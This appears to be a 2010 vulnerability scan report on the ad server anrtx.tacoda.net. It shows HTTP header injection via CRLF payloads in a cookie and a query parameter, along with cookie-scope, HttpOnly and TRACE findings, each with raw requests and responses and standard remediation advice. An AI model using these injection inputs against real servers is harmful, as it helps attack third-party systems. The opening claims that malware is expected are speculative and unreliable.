Hoyt LLC Research reports that tacoda.at.atwola.com is an Advertising and Content Delivery Network Host. The Servers provide targeted adverting which are often the targets of fraudsters. Do not click on an ad and instead go directly to the Host. Advertising is a form of inducement by which Phishing is conducted to exploit financial and personal information.
Report generated by XSS.CX at Sun Nov 07 17:42:16 CST 2010.

Date: March 14, 2011 @ 0149 GMT | Hoyt LLC Research observes that Search Engine landings for terms like tacoda.at.atwola.com and remove atwola are increasing at a rate that has a Vulnerability Crawler interrogating the tacoda.at.* Servers. Given the significant volume of Search Terms, greater than 100+ in the prior 12 hours, we expect to find Malware and/or Trojan Download.

Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. HTTP header injection

1.1. http://anrtx.tacoda.net/rtx/r.js [N cookie]

1.2. http://anrtx.tacoda.net/rtx/r.js [si parameter]

2. Cookie scoped to parent domain

3. Cookie without HttpOnly flag set

4. TRACE method is enabled


1. HTTP header injection  next
There are 2 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

1.1. http://anrtx.tacoda.net/rtx/r.js [N cookie]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://anrtx.tacoda.net
Path:   /rtx/r.js

Issue detail

The value of the N cookie is copied into the Set-Cookie response header. The payload f5415%0d%0a210d2c62cd6 was submitted in the N cookie. This caused a response containing an injected HTTP header.

Request

GET /rtx/r.js HTTP/1.1
Host: anrtx.tacoda.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: TID=16de2p81ll7gc1; Anxd=x; N=2:5f3227f22d70c13d2d8f49f10b271a4c,54c431981101e514c9c86580a4305e5ef5415%0d%0a210d2c62cd6; TData=99999|^|#|60190|60177; Tsid=0^1289161512^1289163347|16375^1289161512^1289163347; ANRTT=60190^1^1289766347|60177^1^1289766347;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:39:01 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Sun, 07 Nov 2010 20:54:01 GMT
Set-Cookie: ANRTT=60190^1^1289766347|60177^1^1289766347; path=/; expires=Sun, 14-Nov-10 20:39:01 GMT; domain=.tacoda.net
Set-Cookie: Tsid=0^1289161512^1289163347|16375^1289161512^1289163347; path=/; expires=Sun, 07-Nov-10 21:09:01 GMT; domain=.tacoda.net
Set-Cookie: TData=99999|^|#|60190|60177; expires=Wed, 02-Nov-11 20:39:01 GMT; path=/; domain=.tacoda.net
Set-Cookie: Anxd=x; expires=Mon, 08-Nov-10 02:39:01 GMT; path=/; domain=.tacoda.net
Set-Cookie: N=2:54c431981101e514c9c86580a4305e5ef5415
210d2c62cd6,54c431981101e514c9c86580a4305e5e; expires=Wed, 02-Nov-11 20:39:01 GMT; path=/; domain=.tacoda.net
Content-Length: 90
Keep-Alive: timeout=60, max=817
Connection: Keep-Alive
Content-Type: application/x-javascript

var ANUT=1;
var ANOO=0;
var ANSR=0;
var ANTID='16de2p81ll7gc1';
var ANSL;
ANRTXR();
1.2. http://anrtx.tacoda.net/rtx/r.js [si parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://anrtx.tacoda.net
Path:   /rtx/r.js

Issue detail

The value of the si request parameter is copied into the Set-Cookie response header. The payload ed3ac%0d%0a79be230f998 was submitted in the si parameter. This caused a response containing an injected HTTP header.

Request

GET /rtx/r.js?cmd=ADN&si=ed3ac%0d%0a79be230f998&pi=&xs=3&pu=http%253A//cdn.at.atwola.com/_media/uac/tcode3.html%2523%2526tacref%253Dhttp%253A//www.google.com/%2526ifu%253Dhttp%25253A//www.engadget.com/%2526cmmiss%253D-1%2526cmkw%253D&r=&v=5.2&cb=31826 HTTP/1.1
Accept: */*
Referer: http://cdn.at.atwola.com/_media/uac/tcode3.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: anrtx.tacoda.net
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 22:24:32 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Sun, 07 Nov 2010 22:39:32 GMT
Set-Cookie: TID=16de9p00ivl096; path=/; expires=Wed, 02-Nov-11 22:24:32 GMT; domain=.tacoda.net
Set-Cookie: ANRTT=60190^1^1289773472; path=/; expires=Sun, 14-Nov-10 22:24:32 GMT; domain=.tacoda.net
Set-Cookie: Tsid=0^1289168672^1289170472|ed3ac
79be230f998^1289168672^1289170472; path=/; expires=Sun, 07-Nov-10 22:54:32 GMT; domain=.tacoda.net
Set-Cookie: TData=99999|^|#|60190; expires=Wed, 02-Nov-11 22:24:32 GMT; path=/; domain=.tacoda.net
Set-Cookie: Anxd=x; expires=Mon, 08-Nov-10 04:24:32 GMT; path=/; domain=.tacoda.net
Set-Cookie: N=2:5f3227f22d70c13d2d8f49f10b271a4c; expires=Wed, 02-Nov-11 22:24:32 GMT; path=/; domain=.tacoda.net
Content-Length: 108
Content-Type: application/x-javascript

var ANUT=1;
var ANOO=0;
var ANSR=1;
var ANTID='16de9p00ivl096';
var ANSL='99999|^|#|60190';
ANRTXR();
2. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://anrtx.tacoda.net
Path:   /rtx/r.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /rtx/r.js?cmd=ADN&si=16375&pi=&xs=3&pu=http%253A//cdn.at.atwola.com/_media/uac/tcode3.html%2523%2526tacref%253Dhttp%253A//www.google.com/%2526ifu%253Dhttp%25253A//www.engadget.com/%2526cmmiss%253D-1%2526cmkw%253D&r=&v=5.2&cb=31826 HTTP/1.1
Accept: */*
Referer: http://cdn.at.atwola.com/_media/uac/tcode3.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: anrtx.tacoda.net
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:25:12 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Sun, 07 Nov 2010 20:40:12 GMT
Set-Cookie: TID=16de2p81ll7gc1; path=/; expires=Wed, 02-Nov-11 20:25:12 GMT; domain=.tacoda.net
Set-Cookie: ANRTT=60190^1^1289766312; path=/; expires=Sun, 14-Nov-10 20:25:12 GMT; domain=.tacoda.net
Set-Cookie: Tsid=0^1289161512^1289163312|16375^1289161512^1289163312; path=/; expires=Sun, 07-Nov-10 20:55:12 GMT; domain=.tacoda.net
Set-Cookie: TData=99999|^|#|60190; expires=Wed, 02-Nov-11 20:25:12 GMT; path=/; domain=.tacoda.net
Set-Cookie: Anxd=x; expires=Mon, 08-Nov-10 02:25:12 GMT; path=/; domain=.tacoda.net
Set-Cookie: N=2:5f3227f22d70c13d2d8f49f10b271a4c; expires=Wed, 02-Nov-11 20:25:12 GMT; path=/; domain=.tacoda.net
Content-Length: 108
Content-Type: application/x-javascript

var ANUT=1;
var ANOO=0;
var ANSR=1;
var ANTID='16de2p81ll7gc1';
var ANSL='99999|^|#|60190';
ANRTXR();
3. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://anrtx.tacoda.net
Path:   /rtx/r.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /rtx/r.js?cmd=ADN&si=16375&pi=&xs=3&pu=http%253A//cdn.at.atwola.com/_media/uac/tcode3.html%2523%2526tacref%253Dhttp%253A//www.google.com/%2526ifu%253Dhttp%25253A//www.engadget.com/%2526cmmiss%253D-1%2526cmkw%253D&r=&v=5.2&cb=31826 HTTP/1.1
Accept: */*
Referer: http://cdn.at.atwola.com/_media/uac/tcode3.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: anrtx.tacoda.net
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:25:12 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Sun, 07 Nov 2010 20:40:12 GMT
Set-Cookie: TID=16de2p81ll7gc1; path=/; expires=Wed, 02-Nov-11 20:25:12 GMT; domain=.tacoda.net
Set-Cookie: ANRTT=60190^1^1289766312; path=/; expires=Sun, 14-Nov-10 20:25:12 GMT; domain=.tacoda.net
Set-Cookie: Tsid=0^1289161512^1289163312|16375^1289161512^1289163312; path=/; expires=Sun, 07-Nov-10 20:55:12 GMT; domain=.tacoda.net
Set-Cookie: TData=99999|^|#|60190; expires=Wed, 02-Nov-11 20:25:12 GMT; path=/; domain=.tacoda.net
Set-Cookie: Anxd=x; expires=Mon, 08-Nov-10 02:25:12 GMT; path=/; domain=.tacoda.net
Set-Cookie: N=2:5f3227f22d70c13d2d8f49f10b271a4c; expires=Wed, 02-Nov-11 20:25:12 GMT; path=/; domain=.tacoda.net
Content-Length: 108
Content-Type: application/x-javascript

var ANUT=1;
var ANOO=0;
var ANSR=1;
var ANTID='16de2p81ll7gc1';
var ANSL='99999|^|#|60190';
ANRTXR();
4. TRACE method is enabled  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://anrtx.tacoda.net
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: anrtx.tacoda.net
Cookie: e4308e49748d5188

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:38:43 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
CLIENTIP: 174.122.23.218
Connection: Keep-Alive
Cookie: e4308e49748d5188
Host: anrtx.tacoda.net

Report generated by XSS.CX at Sun Nov 07 17:42:16 CST 2010.